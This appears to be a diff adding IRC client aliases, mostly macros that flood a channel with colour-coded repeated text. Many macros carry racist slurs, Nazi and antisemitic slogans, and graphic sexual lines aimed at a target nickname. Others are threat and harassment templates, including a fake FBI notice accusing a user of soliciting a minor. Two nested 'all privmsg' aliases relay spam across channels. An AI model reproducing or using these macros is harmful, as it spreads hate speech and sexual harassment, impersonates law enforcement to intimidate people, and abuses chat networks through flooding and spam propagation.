+  jewload = "say \0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS";
+  anus = "say \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,";
+  negro = "say \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFOR";
+  drunk = "say \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BE";
+  aids = "say \0039,8 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0038,9 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0039,8 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0038,9 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION.";
+  lips = "say \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MA";
+  concentrate = "say \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME";
+  mints = "say \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r";
+  justin = "say \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE ";
+  sunni = "say \0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3";
+  edible = "say \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3";
+  seminal = "say \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIR";
+  viva1 = "say \0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOM";
+  viva2 = "say \0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCO";
+  viva3 = "say \00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT";
+  viva4 = "say \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 ";
+  whalevag = "say \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE";
+  doganus = "say \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS";
+  colon = "say \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON ";
+  cake = "say \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4";
+  labia = "say \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,1";
+  sore = "say \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED";
+  white = "say \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF T";
+  ziegh = "say \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038";
+  jizz = "say \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICK";
+  sperm = "say \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM ";
+  rocket = "say \0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED RO";
+  rocket2 = "say \0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKE";
+
+  # {{{ ripped from chozen1 for extra_faggotry++
+  love = "say \0039 I always lose control when $* by my side. You have become the light of my life. I always enjoy the time I spend with you. Because nothing makes me feel the way you do. I think I'm falling in love with $* ...";
+  love2 = "me grabs $*, spins $* around and gives $* the softest sweetest kiss $* has ever had!!! :) ";
+  love3 = "me \0030oO\0039Oo\0030O\0039OoO\0030Oo\0039oO\0030Oo\0039Oo\0030oO\0039Oo\0030oO\0039Oo \0034Let's \0030PLAY \0034army! \0030You \0034lay down  \0030$* \0030oO\0039Oo\0030o\0039OoO\0030Oo\0039Oo\0030oO\0039Oo\0030oO\0039Oo\0030oO\0039Oo\003 \0034and I'll \0030FUCK \0034the hell out of YoU! \0030oO\0039Oo\0030o\0039OoO\0030Oo\0039oO\0030Oo\0039oO\0030Oo\0039oO\0030Oo\0039oO \00313o ";
+  love4 = "me \0034<$N>\003 \0039grabs  \0034<$*>  \0039wrips of his clothes.As he lies back with \0034<$*> \0039legs straddling his face,  \0034<$*>  \0039delivers the earth shattering blowjob of the centuary between  \0034<$*>  \0039legs";
+  love5 = "me  \00312$* Yo\0030u can put a sm\00314ile on my face, o\00311r you can p\00312ut your c\00314um all ov\0030er it \00311!";
+  love6 = "me \00312FuCk My MoUtH WiTh YoUr CoC\00314k $* WhiLe I Wa\0030Nk Myself Wi\00311Th My Han\0030d";
+
+  # {{{ #arab
+  zGehWeg = "say geh verpuss i dich damit alter sorry ich mag dich lol.";
+  rxPruegel = "me pruegelt $* mal \00313,7zaertlich\003 die treppe runter \\;<";
+  rxKuschel = "me reibt sich \00313zaerlich\003 an $*";
+  rxHamster = "me knabbert an $*";
+  rxNag = "me nagt an $*";
+  rxTroll = "say I AM THE VAN GOGH OF TROLLING AND http://ridgex.net/~tati/gb/ IS MY CANVAS SIR";
+  klawd = "say qry close.";
+
+  # {{{ what
+  comment = "say \0030,1                               _______________________         ____________________          __________;say \0031,1http://a.on.nimp.org/blog.php#\0030,1[\037_Add_a_Comment_to_Blog \037]       [\037 Add to del.icio.us \037]        [\037 digg it! \037]";
+  spiez = "say \0034,8 Channel\00312,8\002 $C \002\0034,8will now be scanned for SPIEZ ; say \0039 scan in progress, please standby... ; say \0039 scanning......; say \0039 scanning...... \0034,4++\003 \0034,4++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++\003 \0039,9++\003 \0039,9++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++\003 \0039,9++\003 \0039,9++; say \0039 Scan complete. ; say \0039 \0021\002 SPIE(Z) found:\003 \0034\002 $C $* - Please BAN;";
+  matix = "say \00314,3-\0031-\0030\0039-\0030--\00311-   \0039(\0030\\;  \0030$*  \0039O\0030:  \0030:\0039D   \00311-\0030--\0039-\0031-\00314-";
+  blackman = "say $*: srsly, shut the fuck up or i ban you for life, from now on dont even change your fucking nick or i ban you for lyfe";
+  fbi = "say NOTICE TO $*: The Federal Bureau of Investigation has logged a record of this chat along with the IP addresses of the the participants due to potential violations of U.S. Law. VIOLATION: Soliciation of a minor. ; say IMPORTANT WARNING: If you think that this chat session was logged in error, please state your reasons to the F.B.I. agent currently monitoring this chat and quote the reference number #233GHB3. Failure to do so within the next 2 hours will result in your IP and address being entered into our criminal data base and legal action.";
+  ballsac3 = "say $* u flthy duchbg don use my inslts on me im srs dnt fckin mes wid me";
+  ballsac4 = "say $* u filthy gonad u think ur l33+ on the internets but i bet IRL ur a puny little boi with brokken tooths and zits so dont piss me off or ill find u and beat u";
+  ballsac5 = "say $* stfu fairy u donno who ur talkin to. I is >>> yuo and i beat u up with one hand tied behind my back";
+  wop2 = "say \00312D]\0030:\0034)";
+  wop1 = "say \00312>\0030:\0034D\003";
+  vap0r19 = "say \00313*\0035(\0033:\0034)";
+  dkey = "say $* you know what, screw you. i came here relieved for one of the first times in a week that my life was finaly returning to normal and you post some gay shit like that. nice compassion, jerkoff.";
+  flower = "say \0034@\0039}-`-,-- \0034@\0039}-`-,--\00312,8 $* \017\0034@\0039}-`-,-- \0034@\0039}-`-,--') ";
+  diss = "say \0034hard diss";
+  jesusfish = "say \00314>\0037>\0038>\0038<\0037//\0038JESUS IS AWESOME\00314:\0038)\0037>";
+  emo = "part $C you guys are assholes fuck you i'm leaving";
+  heartiez = "say \0034<3 @\0033-\\;-- \0034 HEARTIES <3<3<3 @\0033-\\;--\003 \002$*\002 \0034<3<3<3<3  ";
+  fell1 = "say \00313,11â™¥ â™¥ â™¥ â™¥ â™¥ â™¥Â â™¥\0031,9$*\00313,11â™¥ â™¥ â™¥ â™¥ â™¥ â™¥";
+  fell2 = "say \0031,9â™¥ â™¥ â™¥ â™¥ â™¥ â™¥Â â™¥\00313,11$*\0031,9â™¥ â™¥ â™¥ â™¥ â™¥ â™¥";
+  lunixcrew = "say \037\002\0036~x~x~\037\0033 IF You kNow MOre thaN\0039 10 \0033liNUx CoMManD, join MAH new \0034LinUX cLAn\003,\017 {{\002gA\002: \002G\002RouP \002a\002NaRchIsT}},\002\0033 \037oPEnIngs filLIN up faSt!!\037 \0036\037~x~x~\037 \0033fiRST scRIMMAGE SATUrdAy \0036\037~x~X~\037\003\002 \0037\002CLAN LEADA:\003\002 \00303E\00312\002rect_vietnam_war\002  \0037\002WEBMASTA:\002\003 \00303S\00312\002ex_wrestlin\002  \0037\002RECRUITA:\002\003 \00303S\00312\002trangling\002";
+  ruin2 = "say I…AM…CAUSING…YOUR…XTERM…TO…SCROLL.…THE…CAUSE…OF…YOUR…XTERM…SCROLLING:…ME…";
+  adair = "say <Adair> i cant handle this shit, $* you single handedly ruined my penispump experience, vap0r thanks for the invite but this place is too crazy...tell me when jerks have been outlawed, outie - ~Adair";
+  omg = "me is blown away by the depth of $*'s statement";
+  arabnet1 = "say all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
+  arabnet2 = "say all privmsg $C :all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
+  prion = "say LEMMIE HAVE A DIABLO SANDWICH, A DR. PEPPER. MAKE IT FAST, I'M IN A GOD DAMNED HURRY!";
+  exu = "say \0038E\0037X\0038P\0037R\0038E\0037S\0038S\003 \037\0033UR\037\0039SELF \0030:\0039D\0038D\0037D\0038D\0033D\00314:\0030D\0033:\0039D\0030:\0033D\0039D\0038D\0037D";
+  stratx2 = "say \00311,2sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u";
+  rap = "say $* finds it hard to type because his fingers are constantly in a \\\\/\\\\/estside formation";
+  nazi = "say hey $* are you unemployed and do get Hartz IV? Are you haesslig, stupid and do speak incomprehensible German? Is mummy asozial and lets itself on the Alkis be slammed at the kiosk to depend all day long? Are you a Zoni? Was Omi gebumst by the Russians? And do you hold yourself despite everything for something special? Do you think nevertheless that you the gentleman race belong? yes? THEN YOU ARE a SCHEIss NEO-NAZI AND SHOULD FROM the NEXT BRIDGE SPRINGN!";
+  attn15 = "say \0038\002\037/!\\\\\037 ACHTUNG \037/!\\\\\037\002\003 \0037\037$*\037 \0038\002\037/!\\\\\037 ACHTUNG \037/!\\\\\037\002\003";
+  qping = "quote ping :88";
